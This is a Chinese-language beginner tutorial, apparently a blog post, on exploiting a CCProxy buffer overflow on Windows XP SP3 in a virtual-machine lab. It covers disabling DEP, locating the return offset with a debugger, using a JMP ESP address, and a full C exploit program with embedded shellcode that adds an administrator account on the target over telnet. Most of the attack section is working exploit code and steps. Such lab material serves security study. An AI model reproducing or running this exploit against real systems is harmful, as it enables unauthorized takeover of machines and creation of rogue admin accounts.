1. 程式人生 > >WindowsXP CCProxy緩衝區溢位漏洞利用小白教程

WindowsXP CCProxy緩衝區溢位漏洞利用小白教程

真的很小白 ,從安裝虛擬機器開始

附一張高清版mr.buffoon的流程圖


1. 環境配置

我用的是virtualbox,百度搜索從官網下就好了。然後從這裡下載Windows XP sp3,然後就是新建一個虛擬機器,安裝上下載的系統。裝Windowsxp的時候遇到一個hyper-v的問題,Raw-mode is unavailable courtest of Hyper-V


需要把hyper-V關掉,在“啟用或關閉 Windows 功能”中取消勾選hyper-V

關掉後需要重啟整個機器然後再裝就好了。

完了在虛擬機器裡裝一堆除錯工具,在這個資源包裡都有,包括有問題的CCProxy客戶端、windbg(內含cdb等外掛)、metasploit、perl語言的字串生成工具。為了方便互相傳檔案,在虛擬機器設定-常規-高階中,設定共享貼上板和拖放的方向,可以設為雙向或者主機到虛擬機器。安裝CCProxy時註冊機使用方法如下

Windows XP sp3中有資料緩衝區溢位保護機制DEP,所以需要先關閉DEP,執行-c:\boot.ini,開啟boot檔案,將noexecute改為execute,然後重啟虛擬機器。


2. 漏洞分析

在命令列中telnet連線CCProxy,ping幾個A試試

然後用cdb分析,在命令列中輸入"C:\Program Files\Debugging Tools for Windows (x86)\cdb.exe" "C:\CCProxy\CCProxy.exe",回車後輸入g執行CCProxy,然後在一個新的命令列中telnet ip地址,ping 2000個A,cdb捕捉到CCProxy的Access violation事件。


棧中溢位內容414141(A的ASII碼對應0x41)將ret原來的內容覆蓋掉了

3. 定位ret

具體的mr.buffoon的部落格中很清楚啦,我只是貼一下詳細步驟

使用patterncreate.pl生成2000個不重複的字串,存到string.txt中。這個也可以自己寫個小程式生成不重複的字串,不一定非要用這個


把生成的字元ping給CCProxy,然後cdb捕獲到


eip的值為0x68423768,通過patternoffset.pl計算出它在整個字串中的偏移量是1012


即ret相對緩衝區的偏移大小是1012位元組,ebp佔4位元組,所以存放區域性變數的緩衝區大小為1008位元組。

4. 尋找JMP ESP 指令地址

讓ret指向jmp esp,jmp esp可以用通用地址0x7ffa4512。在cdb中使用U 7ffa4512確定該處指令就是jmp esp


一定要驗證下啊,萬一不是呢,不一定就是啊,所以一定要驗證下這個地址是不是jmp esp

5. 構造shellcode

就按mr.buffoon同學說的來,

通過metasploit來構造一個在目標主機新增管理員賬戶的shellcode。metasploit官方教程瞭解下~

我沒有通過metasploit構造,不會用,直接用的現成的

6. 定位shellcode

Shellcode是esp指向的地址的內容,通過定位esp內的字串應該放置的位置。同定位ret,通過patterncreate.pl生成不重複的字串,cdb捕捉到崩潰事件時通過dd esp命令檢視esp的內容


計算偏移


Esp指向字串的第四個位元組,因此將shellcode放在字串的第四個位元組處,前面用nob填充

7. 構造exploit


8. 編寫攻擊程式

C語言socket程式設計,向目標主機ping字串。

所以這一步就需要在虛擬機器上編譯這個c程式,我用的dev,這時候遇到一個小問題,報錯undefined reference to WSAStartup

在dev中,工具-編譯選項,然後編譯時加入以下命令-lwsock32就好了


工具包裡忘記加上這個C檔案了,將程式碼貼在這裡好了

char shellcode[] =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
    "\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57"
    "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38"
    "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48"
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
    "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44"
    "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
    "\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"
    "\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
    "\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a"
    "\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b"
    "\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43"
    "\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
    "\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49"
    "\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56"
    "\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46"
    "\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36"
    "\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36"
    "\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44"
    "\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52"
    "\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56"
    "\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56"
    "\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57"
    "\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52"
    "\x41\x44\x46\x44\x46\x44\x42\x30\x5a";
void main()
{
    WSADATA WSAData;
    char Buff[2000],Recv[2000];
    int nRet,conRet;
    struct sockaddr_in ipAddress;
    SOCKET sockettest;
    if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)
    {
        printf("ERROR\n");
        WSACleanup();
        exit(1);
    }
    sockettest= socket(AF_INET,SOCK_STREAM,0);
    ipAddress.sin_family = AF_INET;
    ipAddress.sin_addr.s_addr = inet_addr("10.0.2.15");//要改成自己的ip啊
    ipAddress.sin_port = htons(23);
    conRet=connect(sockettest,(struct sockaddr *)&ipAddress,sizeof(ipAddress));
    memset(Buff, 0x90, sizeof(Buff)-1); //filled with NOP
    memcpy(&Buff[0],"ping ",5); //ping and a blank
    memcpy(&Buff[1998],"\r\n",2); //end with "\r\n"
    memcpy(&Buff[1017],"\x12\x45\xfa\x7f",4); //set JMP ESP instructions address,1012+ping=1017。還要確保這個地址確實是指向jmp esp指令
    memcpy(&Buff[9],shellcode,sizeof(shellcode)-1); // after ping with 4 NOPs
    memset(Recv,0x90,sizeof(Recv)); //initiate buffer
    recv(sockettest,Recv,sizeof(Recv),0);//recv
    nRet=send(sockettest,Buff,sizeof(Buff),0);
    Sleep(1000);
    WSACleanup();
    printf("attack ok !\n");
}

9. 執行結果

在命令列net user或者開始-檢視賬戶都可以,會發現成功添加了一個管理員賬戶

完成